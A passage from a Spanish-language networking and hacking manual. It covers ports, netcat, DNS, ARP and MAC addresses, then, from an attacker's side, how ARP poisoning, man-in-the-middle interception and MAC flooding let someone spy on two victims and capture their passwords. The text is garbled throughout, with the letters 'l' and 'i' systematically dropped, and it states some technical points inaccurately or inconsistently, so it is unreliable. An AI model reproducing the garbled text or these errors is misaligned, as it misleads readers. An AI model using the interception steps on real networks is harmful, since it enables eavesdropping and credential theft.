E protocoo UDP se usa mucho para a emsn de vdeo por Internet o para os programas tpo P2P
(de ntercambo de archvos como e Kazaa, e Lmewre, e Ares o e eMue.) En e e|empo de ver una
emsn de vdeo, s se utza TCP, e protocoo tratara en cada momento de verfcar que cada
paquete egue a su destno, o que hara ms enta a descarga. S son 24 cuadros (frames) guaes no
mportara que fatarn 2 3. Con UDP esto no pasa porque en una emsn de vdeo no mporta que
faten trozos de vdeo, mentras nos de a mpresn de una magen en movmento contnuo. S fatan
uno o dos cuadros no se notan os gaps (o vacos de magen).
Lo compcado ocurre en archvos compartdos, ya que s deseamos descargar un archvo tpo ZIP o
RAR de 9 Mb, s ega a fatar un trozo, a querer abrr e comprmdo, e programa marcar un error.
Reguarmente, as apcacones P2P son as que hacen as comprobacones necesaras y as asegurar
a egada y e orden de os datos a su destno. Para qu tanto probema, me|or usamos TCP.
Porqu exsten tanto TCP como UDP en vez de uno soo? La respuesta es que ambos proveen
servcos dferentes. Muchas de as apcacones fueron creadas para usar uno u otro. Como
programadores tenemos a bertad de escoger e que ms se adapte a nuestras necesdades.
75
Los Puertos
Cas todos os protocoos se apoyan en e protocoo TCP/IP. En a pgna 63 se expc cmo es a
estructura de as dreccones IP y en otros apartados se han menconado os puertos, pero es en este
captuo donde nos detendremos a expcar un poco de que trata todo esto y a reaconar ambos.
Vamos a consderar a sguente rstra de nmeros:
192.168.0.1:80
Esto ndca una dreccn IP. Despus de os dos puntos (:), e PR es e nmero que especfca a un
puerto en partcuar de una computadora o un host. Reaconando os datos anterores con a fosofa
cente-servdor podemos usar una aegora que permtra entender cabamente como funcona a
comuncacn entre mqunas.
Consderemos una red como s fuera una ggantezca ofcna en a que hay 65536 empeados, cada
uno especazado en una rea en partcuar. Todos tenen asocado un nmero y os programas os
convocan a traba|ar de este modo:
Puerto (123, escucha, programa)
Lo anteror sgnfca que e empeado con e nmero 123 se ponga a escuchar y atenda soo a os que
haben e engua|e de programa. Tambn pueden traba|ar de esta otra manera:
Puerto (19344, habla, host:123)
Esto sgnfca: e empeado con e nmero 19344 deber habar con e seor que atende en e
dspostvo host (otra ofcna) nmero 123.
Los prmeros 1024 empeados tenen su funcn ben defnda, cada uno trata un tema dstnto y
estn especazados en atender a os que es venen a pedr o preguntar, es decr, escuchan y
proporconan un servco smutneo. Estn especazados en servr a otras personas que venen con
a ntencn de habar.
Por e|empo, e empeado con e nmero 80 est especazado en atender a os que requeren HTTP,
e 21 a quenes necestan FTP. Este empeado gestona os recursos de engua|e que haben os
petconaros. E que e empeado 80 habe HTTP y e 21 soo atenda cuestones que traten sobre FTP
son estndares mpuestos por os "|efes".
Cuando a os empeados con nmero se es convoca a escuchar se converten en procesos y es en
este momento en que se es conoce como servidores.
A partr de empeado 1024 hasta e 49151 se es puede consderar servdores de agn engua|e y
tenen funcones parecdas a os menores, pero pueden servr guamente como centes. La dstncn
de este rango depende en gran medda de fabrcante de software (Mcrosoft, Lnux, BSD, etc)
E resto de os empeados hasta e 65536 no tenen nnguna especazacn, son e grueso de a
pobacn de a ofcna magnara. Son eegdos aeatoramente para que vayan a preguntar a otros
empeados, reazan petcones de servcos a os servdores. Pueden ncuso habar cuaquer doma y
a travs de eos podemos r a otros puertos en otros hosts para pedr nformacn que a sernos
entregada podremos procesara adecuadamente.
Cuando a estos empeados se es convoca a habar se converten en procesos y desde ese nstante
son conocdos como clientes.
76
Los dstntos empeados que componen este crcuto de que hemos habado son os puertos. Un
puerto no es ago fsco, sno vrtua. Son un concepto, un nmero y un programa que os defne. En
una computadora s exsten puertos reaes, como e sere y e paraeo y era donde se conectaba a
mpresora y e ratn.
Para que e modeo que acabamos de expcar se eve a cabo, es necesaro un proceso servdor y un
proceso cente. Ambos procesos pueden estar e|ecutndose en a msma computadora y
comuncarse perfectamente. Esto es ms comn de o que parece, aunque o verdaderamente
nteresante desde e punto de vsta de a computadora es estabecer comuncacn entre procesos
cente y servdor que se encuentren en computadoras dstntas.
0ervidor
E servdor es e proceso que se e|ecuta en un nodo de a red y admnstra o gestona e acceso a un
determnado recurso y esto o hace en un puerto. Podemos magnarnos que un puerto es una gran
ore|a esperando escuchar as petcones por parte de sus centes. La forma de gestonar depende de
programa servdor que tenga asocado. Es capaz de atender concurrentemente una gran cantdad de
petcones smutneas.
Se podra decr que a conexn que abre e servdor es ms pasva ya que soo se dedca a escuchar.
Las tareas que tene asgnadas e servdor son bscamente tres.
soc*et=> Ege y abre e puerto
bind=> Enaza e puerto a una apcacn servdor. Un puerto aberto sn nade que gestone a
conexn detrs es nt. As msmo se puede decr que a apcacn es duea de puerto.
listen=> Es o que hace a mayor parte de tempo, escuchar, s nngn cente se e conecta.
liente
E cente es e proceso que se e|ecuta en a msma computadora (agunas veces en una computadora
dstnta) y es e que reaza as operacones de petcn a servdor. Esto o hace tambn desde un
puerto que, en este caso, en vez de ser una ore|a se converte en boca. Normamente son os puertos
superores a 1024. A gua que con os servdores, sus gestones se efectan en base a programa
cente que tengan asocado. Podemos decr que a conexn que abre e cente es ms actva debdo
a que se encarga de traer a cente a nformacn que e servdor e prepara.
Las tareas bsca de os centes son dos:
soc*et=> Ege y abre e puerto
connect=> Estabece a conexn con e puerto servdor.
Los puertos de 1 a 1024 tambn son conocdos como puertos reservados. Tenen una funcn
especfca ta y como o mandan os estndares.
La organzacn que se encarga de estabecer estos estndares es a Internet Assgned Numbers
Authorty (IANA)
17
que se puede revsar en www.ana.org. As, por e|empo, e nmero 22 se asgn a
puerto que gestona SSH; e puerto 23 para tenet 23; e 25 a smtp y de 135 a 139 para a netbos.
17(Agencia de Asignacin de Nmeros Internet) Antiguo registro central de diversos parmetros de los protocolos Internet, tales como
puertos, nmeros de protocolo y empresa, opciones, cdigos y tipos. Los valores asignados aparecen en el documento Assigned Numbers
[STD2]. Fue sustituido en 1998 por ICANN.
77
Todo sstema operatvo guarda en un archvo a nformacn necesara para asocar un puerto a una
paabra que o dentfque, de este modo, as apcacones en vez de mostrar e nmero 21, pueden
mostrar drectamente que pertenece a protocoo FTP.
S usamos e Netat (que descrbremos a fna de documento con mayor detae) para que descrba
os puertos en nuestra propa mquna, soo tenemos que usar e comando nc |unto con as sguentes
opcones:
-$ nc -vv ocahost 137, 25
Orianna [127.0.0.1] 137 (netbios-ns) : Connection refused
Orianna [127.0.0.1] 25 (smtp) open
Aunque no se muestran todos os resutados, con os parmetros especfcados, e programa NetCat
nos mostrar os nmeros de puertos abertos y cerrados (en este e|empo son os puertos 137 y 25).
Entre corchetes (| |) se ver a dreccn IP y entre parntess, e nombre de servco. Esto es ms que
nada por comoddad y para permtrnos recordar a qu servco pertenece e puerto. La opcn 5vv
ndca a programa que muestre a nformacn en modo dobe verboso (con mayor nformacn que a
que se obtendra con una soa 5v), connection refused sgnfca que se ha rechazado a conexn,
localhost
18
ndca que debe revsar a mquna propa y os nmeros son os puertos. Open sgnfca
que e puerto est aberto. Lo msmo vae cuando e comando nc de NetCat se usa en Wnxx.
Es de sobra decr que en ugar de ocahost debemos tecear a dreccn IP a a que deseamos
acceder. Todo esto se ver en detae cuando descrbamos os usos y funcones de una herrament tan
t como e NetCat.
Una cosa que es necesaro saber es que os puertos que van de 1025 a 49151 no son estndar, pero
a IANA se encarga de asgnaros a dstntas apcacones que os necestan, aunque estos rangos
quedan, por arbtro, determnados por e propo fabrcante. No todos son protocoos abertos que se
conozca como funconan exactamente, exsten apcacones y programas propetaro de fabrcantes
que soo eos saben como se comuncan.
E resto de os puertos hasta e 65536 son os amados efmeros, porque como se recordar, son os
centes. Se escogen aeatoramente para estabecer desde eos a conexn a os puertos servdores
y, s a conexn se cae, se beran y pueden ser usados por cuaquer otra apcacn o protocoo ms
tarde. De ah que sean necesaros tantos puertos, porque s se suman as conexones que "escuchan"
(como un servdor web, un servdor FTP y un servdor de correo en a msma mquna) mas os que se
requeren para conectarnos (navegar por una pgna en Internet puede ocupar unos dez puertos de
os efmeros), sn esa cantdad, pronto nos quedaramos sn puertos superores con que comuncarnos
con otros servdores.
Exste en WnNT y en Lnux un archvo de texto donde se pueden ver os puertos y su nmero
asgnado por a IANA y os servcos a que pertenecen segn se defnen en e RFC 3232.
En Wndows o podemos encontrar en
C:\wnnt\system32\drvers\etc\servces
18Localhost es lo mismo que 127.0.0.1, es decir, es nuestra propia mquina. Tambin se conoce como direccin de retrociclo (Loopback).
Se utliliza para la deteccin de fallas.
78
En sstemas Lnux podemos usar e comando tail.
~$ tail /etc/services
binkp 24554/tcp # binkp fidonet protocol
asp 27374/tcp # Address Search Protocol
csync2 30865/tcp # cluster synchronization tool
dircproxy 57000/tcp # Detachable IRC Proxy
tfido 60177/tcp # fidonet EMSI over telnet
fido 60179/tcp # fidonet EMSI over TCP
Se ndca e nombre de servco, e puerto que usa como servdor y un comentaro de programa
servdor o protocoo que representa. Tamben puede usarse e comando cat s se desea ver todos os
puertos y sus nmeros asgnados por IANA.
-$ cat /etc/servces
ftp 21/tcp
fsp 21/udp
ssh 22/tcp # SSH Remote Login Protocol
ssh 22/udp
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
time 37/udp timserver
rlp 39/udp resource # resource location
nameserver 42/tcp name # IEN 116
whois 43/tcp nicname
Aqu puede verse a sta competa actuazada http://www.ana.org/assgnments/port-numbers.
Una utdad de este archvo es que nos ayuda a detectar un puerto aberto en una mquna y nos
puede dar una dea de a apcacn que posbemente puede estar escuchando detrs.
Estos archvos son smpemente nformatvos. Reguarmente, s se borra una nea de archvo de
texto no suee ocurrr nada, tan soo que e sstema operatvo, cuando neceste mostrar aguna
nformacn reaconada con e puerto, despegar un nmero en vez de una paabra. Esto ocurre en
a mayora de os sstemas modernos. Hay que tomar en cuenta que en agunos sstemas antguos
exste a posbdad de que no funconen ben s no encuentran a nea correspondente de archvo.
Otra cosa que hay que tener en mente es que nada mpde que en e puerto 80, en vez de HTTP se
use otro protocoo. E reparto que ndca a RFC 3232 no es ms que una convencn orentatva, y un
servdor HTTP puede escuchar sn nngn probema en e puerto 80 que en e 8950, tan soo debemos
ndcaro cuando sea a hora de enazar e puerto con a apcacn que escuche.
79
Servdores DNS
Los programas pocas veces hacen referenca a os hosts, buzones de correo y otros recursos por sus
dreccones bnaras de red. En ugar de nmeros bnaros, os programas usan cadenas ASCII como
gerryson@gma.com. Sn embargo, a red msma soo entende dreccones bnaras, por o que
aguen ngen un mecansmo para convertr as cadenas ASCII en dreccones de red. Y as nac e
Sstema de Nombres de Domno (o DNS)
En esenca, e DNS es a nvencn de un esquema de nombres |errquco basado en domno y una
base de datos dstrbuda para mpementar este esquema de nombres. E DNS se usa prncpamente
para reaconar as dreccones de host y destnos de correo eectrnco con as dreccones IP, pero
tambn puede usarse con otros fnes.
Para reaconar un nombre con una dreccn IP, un software de apcacn ama a un procedmento
de brera amado resolvedor (de to resolve, resover, en espao), pasndoe e nombre como
parmetro. E resovedor enva un paquete UDP a un servdor DNS oca, que entonces busca e
nombre y devueve como resutado a dreccn IP a resovedor, que entonces o devueve a
soctante. Con a dreccn IP, e programa puede entonces estabecer una conexn TCP con e
destno, o envare paquetes UDP.
La dreccn IP no es ms que un nmero bnaro de 32 bts que dentfca nequvocamente a un host
conectado a Internet. Los DNS mantenen tabas que permten traducr a dreccn de Internet (IP), a
una dreccn de tpo merstaton.com. Los domnos se resueven de derecha a zquerda, nunca a
revs, como muchos puderan pensar; prmero estn os com, despus e nombre de domno, etc.,
con estructura de rbo nvertdo.
A conectarse a Internet, a persona necesta un servdor DNS para poder navegar. E usuaro se
conecta a para que e dga a dreccn IP de domno.com, y e servdor DNS se conecta a otros
hasta dar con a reacn adecuada.
Con e comando en Wndows pconfg /a podemos ver as computadoras que srven de DNS:
ipconfig /all
Configuracin IP de Windows
Nombre del host. . . . . . . . : O8Z0E9
Servidores DNS . . . . . . . . : [Si hay conexin a Internet debe poner algo]
Tipo de nodo . . . . . . . . . : Difusin
Id. de mbito NetBIOS. . . . . :
Enrutamiento IP habilitado. .: No
WINS Proxy habilitado. . . . . : No
Resolucin NetBIOS usa DNS . . : No
Es norma que como mnmo haya dos. E segundo o subsguentes so se usan en caso de que e
prmero de|ara de responder. En Lnux dos DNS se encuentran en un archvo de texto. Con este
comando se mostrar su contendo:
cat /etc/resolv.conf
# generated by NetworkManager, do not edit!
search gateway.2wire.net
nameserver 192.168.1.254
80
E tmo esabn de a resoucn DNS o consttuye a propa computadora, que mantene en a
memora as asocacones nombrededomno IP para no tener que estar pdendo constantemente esa
nformacn.
En Wnxx se puede ver a cach con e comando pconfg /dspaydns, aunque en agunos sstemas no
aparece nngn dato. Teceamos pconfg ? y se nos mostrar s aparece a opcn /dspaydns o nos
aparece o sguente:
ipconfig ?
Configuracin IP de Windows
Opciones de lnea de comandos:
/All - Muestra informacin detallada.
/Batch [archivo] - Escribe en el archivo o . /WINIPCFG.OUT
/renew_all - Renueva todos los adaptadores.
/release_all - Libera todos los adaptadores.
/renew N - Renueva el adaptador N.
/release N - Libera el adaptador N.
En caso de que s nos aparezca a opcn y en caso de que naveguemos mucho por a Gran Red o
me|or ser que a nfo a redr|amos haca un archvo de texto de a sguente manera:
Ipconfg /dspaydns >C:\cachedns.txt
Con e modfcador V en vez de mostraros en pantaa, os resutados os escrbr en e archvo de
texto con nombre cachedns. En ese archvo podremos ver todos os servdores que se han vstado y
e tempo de vda que a computadora os mantendr en memora.
Los datos tendrn un formato smar a que sgue:
www.cualquierdominio.com
Nombre de registro...: Nombre de registro..._
www.cualquierdominio.com Dns1.dominio.com
Tipo de registro...:5 Tipo de registro...:1
Tiempo de vida...:852 Tiempo de vida...:852
Longitud de datos...:4 Longitud de datos...:4
Seccin.......................:Answer Seccin.......................:Answer
Registro CNAME.....: Registro CNAME.....:
Dns1.dominio.com Un registro (Host)..: 123.123.123.123
Aqu se observa a estructura de rbo. CNAME sgnfca "nombre cannco" y es un aas para que una
mquna pueda ser recordada por su nombre y no por su IP en pasos ntermedos de a cadena DNS.
Para borraros podemos usar e comando:
Ipconfg /fushdns
Con esto se borrar a cach y se crear una nueva con datos actuazados.
81
Sesn Cente-Servdor Medante TCP
La mayora de as apcacones cente-servdor fueron desarroadas basndose ben en TCP o en UDP
que son protocoos que ya expcamos en sus captuos correspondentes. Hay que anotar que a
comuncacn entre puertos se mueve en a capa de transporte.
Dependendo de par cente-servdor que usemos, ocurren muchas cosas, porque para que a
comuncacn sea correcta, e par de programas, e cente y e servdor, deben entenderse
mutuamente.
0ervidor ,TTP =o .eb> lientes .eb
IIS Internet Exporer
Apache Opera, Netscape, Frefox
0ervidor de orreo lientes de orreo
Sendma Outook Express
Oma Eudora
Exchange Opera ma cent...
0ervidor de !TP liente !TP
Wu-FTP CuteFTP
ProFTPd ftp.exe de Internet Exporer
Desde e punto de vsta de cente, abrmos un navegador como e Opera y teceamos a dreccn
web: www.dreccon.com. En nuestra mquna se abre un puerto aeatoro por encma de 1024,
dgamos e 5000. ste puerto efmero tene como ob|etvo e puerto 53 de servdor de nombres
(Doman) que tengamos confgurado en nuestra PC (DNS). E servdor DNS, de que ya patcamos en
e captuo anteror, procesa e peddo y devueve a nformacn IP numrca.
Medante esta conexn, consegumos saber que a verdadera dreccn IP de www.dreccon.com es,
por e|empo,
123.123.123.123.TUCOMPU:5000-><-DNS:53
Una vez que sabemos esto, e cente HTTP comenza su traba|o y escoge otro puerto aeatoramente,
supongamos que es e 6000, para ncar a conversacn HTTP.
TUCOMPU:6000 123.123.123.123:80
Con esta nformacn, e cente (e navegador) consgue a pgna web en formato HTML, a nterpreta
y nos a muestra ta y como a vemos normamente. Pero no soo crea una conexn, sno varas, pues
as pgnas contenen mgenes, cdgo |ava, etc, que a travs de varos puertos, puede descargar
concurrentemente aceerando a conexn y a "ba|ada de a pgna".
TUCOMPU:60001 -><- 123.123.123.123:80 (para imgen 1)
TUCOMPU:60002 -><- 123.123.123.123:80 (para imgen 2)
TUCOMPU:60003 -><- 123.123.123.123:80 (para HTML)
E navegador (cente web o HTTP) es e que se encarga de coordnar todo e proceso para que a
pgna se nos muestre correctamente en nuestra pantaa. sto es bscamente o que ocurre cuando
navegamos por a Internet.
82
Por e|empo, para recoger nuestro correo, es ago ms senco. Cuando conectamos nuestro cente
de correo -Outook o Eudora- y pusamos "recoger" o "descargar" correo, e cente vueve a eegr un
puerto ato (suponendo que sea e 4000) y se conecta a 110 (Pop3
19
) que es e puerto estndar para
e protocoo de gestn de correos:
TUCOMPU:4000 -><- 123.123.123.123:110
Y ya a conexn est estabecda. Ahora es e cente de correo e que se encarga de habare en e
doma adecuado para que os correos se descarguen y puedan ser edos por e usuaro. Esta dupa
de |dreccnIP:puerto, dreccnIP:puerto| representa os azos de comuncacn estabecdos entre
dos mqunas y debe ser nco en Internet para evtar nterferencas.
Para e e|empo anteror, stas accones no deben confundrse con e hecho de ver os correos va
Web, como por e|empo en Yahoo o Gma. A estos se es conoce como correos Web porque eemos
nuestros correos a travs de web, es decr, no exste una conexn cente de correo n servdor de por
medo. Yahoo y Gma son servdores web. Por detrs, en su nfraestructura, mantenen centos de
servdores reaes de correo, con sus puertos 110 y 25 abertos y escuchando, pero con o que
tratamos es con servdores web, por o que no es vdo como e|empo de servdor de correo, aunque
se dedque a correo.
19Post Office Protocol -- POP (Protocolo de Oficina de Correos) Protocolo diseado para permitir a sistemas de usuario individual leer
correo electrnico almacenado en un servidor. La Versin 3, la ms reciente y ms utilizada, llamada POP3, est definida en RFC 1725. No
confundir con PoP (Con 'o' minscula).
83
MAC y ARP
<A =<edia Access ontrol>
Aunque as PCs se dentfquen sempre por una IP, todava queda por resover cmo se asoca esa IP
a esa mquna en partcuar, para que todo mundo conozca que 192.168.0.125 es efectvamente
quen dce ser que es. Aqu entra en |uego a MAC (Contro de Acceso a Medos).
Direcci'n <A
Recordemos brevemente que una computadora conectada a una red LAN IP/Ethernet posee dos
dreccones. Una es a dreccn IP: cada computadora debe tener una dreccn IP nca para poder
comuncarse. La otra es a dreccn de a tar|eta de red. Veamos y desgosemos a nformacn:
Para poder dstngur unas maqunas de otras en una red oca, os fabrcantes de dspostvos tenen
por convencn no fabrcar dos tar|etas de red con e msmo nmero, por o que se asgna un nmero
nco a cada tar|eta de red que conocemos como direcci'n <A. La MAC es a dreccn asocada a
a tar|eta de red, conocda tambn como a dreccn fsca. A haber una dreccn MAC por cada
tar|eta en e mundo, esta debe ser muy grande para evtar as repetcones. La dreccn MAC consta
de 48 bts. Para conocer a dreccn MAC de nuestra tar|eta de red teceamos desde a nea de
comandos:
C:\ Ipconfig /all
1 Ethernet adaptador:
Descripcin . . . . . . . . . : PPP Adapter.
Direccin fsica . . . . . . . : 44-45-53-54-00-00 <--Esta es la direccin MAC
DHCP habilitado. . . . . . . . : S
Direccin IP . . . . . . . . . : 0.0.0.0
Mscara de subred. . . . . . . : 0.0.0.0
Puerta de enlace predeterminada:
Servidor DHCP. . . . . . . . . : 255.255.255.255
E formato de a dreccn es de tpo XX:XX:XX:XX:XX:XX. Donde as X son nmeros hexadecmaes.
Los prmeros 24 dentfcan a fabrcante de software, y os 24 restantes correponden a nmero de
sere asgnado por e fabrcante. Es por esto que se garantza que no habr 2 tar|etas de red con a
msma dreccn MAC.
Una dupcacn de MACs causara un gran confcto en a red, por o que debe ser nca y no se
puede cambar. Se encuentra amacenada en a msma tar|eta de red. Ethernet construye marcos de
datos (frames) que estn formados por boques de 1500 bytes. Cada marco, tene una cabecera con
a dreccn MAC de a computadora de orgen y a de destno. Las dreccones IP son en readad
vrtuaes (a dferenca de as dreccones MAC) y se asgnan va software.
ABP =Address Besolution Protocol>
E ARP o Protocoo de Resoucn de Dreccones es un protocoo de redes ocaes (LAN). No sempre
se usa en Internet.
IP y Ethernet deben traba|ar en equpo. IP se comunca construyendo paquetes que son smares a
os marcos, pero con dstnta estructura. Estos paquetes no pueden ser entregados sn a ca&a de
enlace de datos. En nuestro caso, son entregados por Ethernet, que dvde os paquetes en marcos,
aade una cabecera para a entrega y os enva por e cabe a conmutador (swtch). E swtch decdr
a qu puerto envar e marco despus de comparar a dreccn destno de marco con una taba que
mapea nmeros de puertos y dreccones MAC.
84
Cuando se consoda un marco Ethernet, este deber ser construdo a partr de un paquete IP. Sn
embargo, a momento de a construccn, Ethernet no tene dea cu es a dreccn MAC de a
mquna destno que necesta para crear una cabecera Ethernet. La nca nformacn que tene
dsponbe es a IP de destno de a cabecera de paquete. Debe haber por ah aguna manera en que
e protocoo Ethernet conozca a dreccn MAC de a mquna destno con respecto de a dreccn IP.
Es en este momento de partdo donde entra a |ugar e ARP.
<odo de o&erar de ABP4 ARP funcona envando paquetes de petcn ARP (ARP requests). Su modo
de actuar es mas o menos as: cuando una PC quere envar nformacn a otra, usa a dreccn de
Broadcast, que ega a as computadoras en a LAN, ncuyendo aqueas en una red conmutada,
preguntando ";2u direccin #! es esta 4444< 1i es as, envame tu direccin 3/"". La PC que tenga
esa IP responde con un paquete amado Respuesta ARP (ARP repy) que contene su MAC y en ese
momento se guarda en a memora cach de a mquna a asocacn IP-MAC
Para mnmzar e nmero de petcones ARP que son dfunddas (broadcasted), os sstemas
operatvos mantenen una memora cach de respuestas ARP. Cuando una computadora recbe una
respuesta ARP, actuazar su cach ARP con a nueva asocacn IP/MAC. La mayora de os sstemas
operatvos actuazarn su cach ARP s recbe una respuesta ARP, sn mportar s han envado una
petcn en readad. La fnadad es no tener que vover a hacer esto cada vez que se neceste un
ntercambo de datos.
Esto no sucede con una comuncacn teefnca medante mdem a Internet, porque se supone que
cuaquer dato que se enva est destnado a equpo que se encuentra a otro ado de a nea con
una dreccn IP. Pero cuando se envan datos dentro de una red oca, hay que especfcar caramente
a qun van drgdos.
Tanto Wnxx como Lnux cuentan entre sus programas con una utera amada ARP que nos permte
expermentar con ese protocoo. ARP es un comando que permte manpuar a cach ARP de kerne
de varas maneras. Las opcones prmaras son mpar una entrada de mapeo de a dreccn y
confgurar una de modo manua. As msmo, para propstos de depuracn, e programa ARP nos
posbta hacer un vocado competo de a cach de ARP.
S escrbmos en a nea de comandos de DOS o en una termna en Lnux (Las opcones son guaes s
se usan en una termna en Lnux, soo que en ugar de '/' se usa '-').
C:\>arp /? y -$ arp -h en Lnux
Aparecer a forma en que se utzan as opcones de comando ARP.
arp [-vn] [<HW>] [-i <if>] [-a] [<hostname>] <-Muestra la cach ARP
arp [-v] [-i <if>] -d <host> [pub] <-Borra una entrada ARP
arp [-vnD] [<HW>] [-i <if>] -f [<filename>] <-Agrega una entrada desde un archivo
arp [-v] [<HW>] [-i <if>] -s <host> <hwaddr> [temp] <-Agrega una entrada
arp [-v] [<HW>] [-i <if>] -Ds <host> <if> [netmask <nm>] pub <-''-
-a Muestra (todos) los hosts en un estilo alternativo (BSD)
-s, --Configura Configura una nueva entrada ARP
-d, --Borra Borra una entrada especificada
-v, --verboso Verbosidad
-n, --numrico No resuelve los nombres
-i, --dispositivo Especifica la interfaz de red (ejemplo: eth0)
-D, --uso-dispositivo Lee <hwaddr> de un dispositivo dado
-A, -p, --protocolo Especifica una familia de protocolos
-f, --archivo Lee nuevas entradas de un archivo o desde /etc/ethers
85
-$ arp -a
E comando arp con a opcn 5a nos muestra as asocacones actuaes IP-MAC con as que cuenta a
computadora. Con e comando arp tambn podemos asocar nosotros msmos una dreccn IP con
una dreccn MAC a nuestro anto|o:
-$ arp -s 192.168.0.1 01:01:01:01:01:01
Hay que consderar que esto har que se perda a comuncacn con esa mquna, aunque soo
temporamente, ya que as cachs repondrn a nformacn con e resutado de nuevas consutas
automtcas.
ambiar la Direcci'n <A
Ahora, que sucedera s se ogra cambar a MAC de a PC? Cosas nteresantes. Se podran, por
e|empo, espar as comuncacones que se efectan entre dos mqunas concretas que se haen en
dferentes segmentos, smpemente adoptando a personadad de emsor. No copando su MAC, sno
hacndoe creer que a MAC de cada una es a de nosotros, y devovendo os paquetes a su egtmo
dueo. Veamos e sguente e|empo:
PC-A Primera vctima PC-B Segunda vctima PC-C Atacante
MAC 01:01:01:01:01:01 MAC 02:02:02:02:02:02 MAC 03:03:03:03:03:03
IP 192.168.0.1 IP 192.168.0.2 IP 192.168.0.3
La PC-C es a nuestra. Desde aqu se envan paquetes de respuesta ARP fasos a a PC-A y a a PC-B
que son os dos hosts a os que deseamos espar. A a PC-A se e dce que a dreccn de Ethernet de
a PC-B es a nuestra, quedando esta nformacn amacenada en su cach ARP. Cuando a PC-A enve
os paquetes a a PC-B con nuestra dreccn MAC estos nos egarn a nosotros.
En e sguente captuo aprenderemos a tcnca de ARP Spoofng.
86
ARP Spoofng
E ARP spoofng
20
es una de as varas vunerabdades que exsten en os modernos protocoos de
red, que permten que un ndvduo ben entrenado ponga su trono en una red que consdere su reno.
Conocemos como ARP spoofng a procedmento de expotar a nteraccn de os protocoos IP y
Ethernet. Por obvas razones, soo es apcabe en redes Ethernet correndo IP. Con e conocmento
adqurdo durante a trayectora de ectura de este documento, podremos ser capaces de comprender
os puntos caves de este captuo.
Con as tcncas mostradas aqu, no soo se pueden espar comuncacones. Se pueden hacer ataques
DoS, s envenenamos una cach ARP de una mquna para hacernos pasar por e gateway de a red,
toda comuncacn con e exteror pasar por nuestra computadora. Pero cudado, s desechamos
todos os paquetes y no os reenvamos a gateway, e host no podr comuncarse con e exteror. Las
posbdades de controar por competo a red son muy atas. Soo hay que saber empearas.
Envenenamiento ABP
E procedmento de ARP spoofng nvoucra e faseamento de as respuestas ARP. Cuando se envan
respuestas ARP fasas, puede hacerse que una computadora banco enve marcos, orgnamente
destnados a a computadora A, para que se dr|an a a computadora B. Cuando se hace de a manera
adecuada, a computadora A n se da cuenta de que hubo un desvo de datos. A proceso de
actuazar e cach ARP de una computadora con respuestas ARP fasas se e conoce con e nombre
de Envenenamento ARP (o ARP posonng).
Veamos a sguente stuacn: se enva un fu|o constante de paquetes manpuados (con a ntencn
de que a cach ARP de as computadoras se actuace con a nformacn verdadera) a a PC-A y a a
PC-B con os sguentes datos:
PC-A: arp-reply informando que 192.168.0.2 tiene la direccin MAC 03:03:03:03:03:03
PC-A: arp-reply informando que 192.168.0.1 tiene la direccin MAC 03:03:03:03:03:03
De esta forma se envenena a cach ARP. A partr de este momento, os paquetes que se enven entre
ambas, nos egar a nosotros. Ahora ben, para que nngn host note nada extrao y todo parezca
norma, sempre debemos hacer egar os paquetes a su destno fna. Para esto tenemos que tratar
os paquetes que recbamos en funcn de host de orgen:
Paquetes procedentes de HOST-A > Reenviar a 02:02:02:02:02:02
Paquetes procedentes de HOST-B > Reenviar a 01:01:01:01:01:01
As, a comuncacn entre ambas computadoras no se ve nterrumpda y podemos ver todo e trfco
entre eas. So tenemos que hacer uso de un snffer para poder capturar y ftrar e trfco entre
ambas, ya sea nombres de usuaros o contraseas, ncuso a sesn competa. Esto ya depende de a
habdad y e nters de cada persona.
ABP5s&oo7ing =0ni77ers en Bedes 0egmentadas>
Es cas dfc esnfar en redes que utzan swtches en vez de hubs. En estas redes os paquetes so
son envados a a mquna destno y e resto de os equpos soo vern su trfco y e de broadcast.
Los swtches "aprenden" a que boca de swtch estn conectados cada mquna (nternamente crean
una taba con correspondencas IP-MAC-Swtch). Cuando recben un paquete, soo o envan por a
boca de swtch que ha "aprenddo" est en a mquna destno.
20Pocedimiento que cambia la fuente de origen de un conjunto de datos en una red, adoptando otra identidad de remitente para engaar a
un cortafuegos.
87
Los swtches determnan que marcos van a qu puerto a comparar a dreccn MAC en un marco con
una taba. Esta taba contene una sta de puertos y a dreccn MAC a que van su|etos. La taba se
construye, cuando se encende e swtch, examnando a MAC de orgen de prmer marco transmtdo
en cada puerto.
Las tar|etas de red pueden ponerse en modo promscuo, donde se es permte examnar os marcos
que son destnados a dreccones MAC que no son as propas. En redes conmutadas no es de gran
preocupacn porque e swtch enruta os marcos basndose en a taba descrta arrba. Esto evta e
esnfado de os marcos de otra persona. La promscudad a trataremos con detae en e captuo que
haba sobre os snffers.
Empeando a tcnca de arp spoofng, exsten varas maneras en que se puede evar a cabo un
esnfado, y e ataque por intermediarismo (man-n-the-mdde), es una de eas. Con a tcnca de arp
spoofng se puede engaar a swtch para que nos enve un trfco que no nos pertenece. Para un
ataque man-n-the-mdde, se debe utzar una herramenta de redreccn de ARP para hacer que
una computadora o grupo de eas pense que a computadora enmascarada (que est esnfando) es
a pasarea (gateway) de a red, con ob|eto de capturar e trfco de esas computadoras. Esta utera
permte que a pasarea fasa esnfe e trfco resutante. Vase a fgura que muestra e patrn de
trfco de un ataque de esta naturaeza:
La estacn A enva su trfco a a pasarea por defecto (Defaut Gateway), pero a estacn B o
ntercepta. Luego, a estacn B reenva os datos a a pasarea
Las herramentas utzadas para este mtodo son e ettercap, e arspoof y a sute Dsnff que
detaaremos en e su propo captuo.
88
Cuando un ataque man-n-the-mdde (MIM) es evado a cabo, un usuaro macoso nserta su
computadora |usto en e camno de comuncacones entre dos computadoras banco. Aqu es donde
ocurre e esnfado.
La computadora macosa envar os marcos entre as dos computadoras banco para que a
comuncacn no se vea nterrumpda. La ncursn ocurre de a manera sguente (donde X es a
mquna atacante y B1 y B2 son as mqunas banco)
X envenena a cach ARP de B1 y B2.
B1 asoca a IP de B2 con a dreccn MAC de X.
B2 asoca a IP de B1 con a dreccn MAC de X.
Todo e trfco IP de B1 y B2 r prmero a X, en vez de drgrse a eas.
Esto es extremadamente potente a consderar que no soo as computadoras pueden envenenarse,
sno tambn os routers y os gateways. Todo e trfco de Internet para un host puede ser
nterceptado con este mtodo e|ecutando un MIM en una computadora banco y un router de LAN.
Otro mtodo de esnfado sobre una red conmutada es a nundacn MAC (MAC foodng). A envar
ARP repes spoofeadas a un swtch, a una tasa extremadamente rpda, a taba puerto/MAC de
swtch se ver desbordado. Los resutados varan segn a marca, pero en este punto, agunos
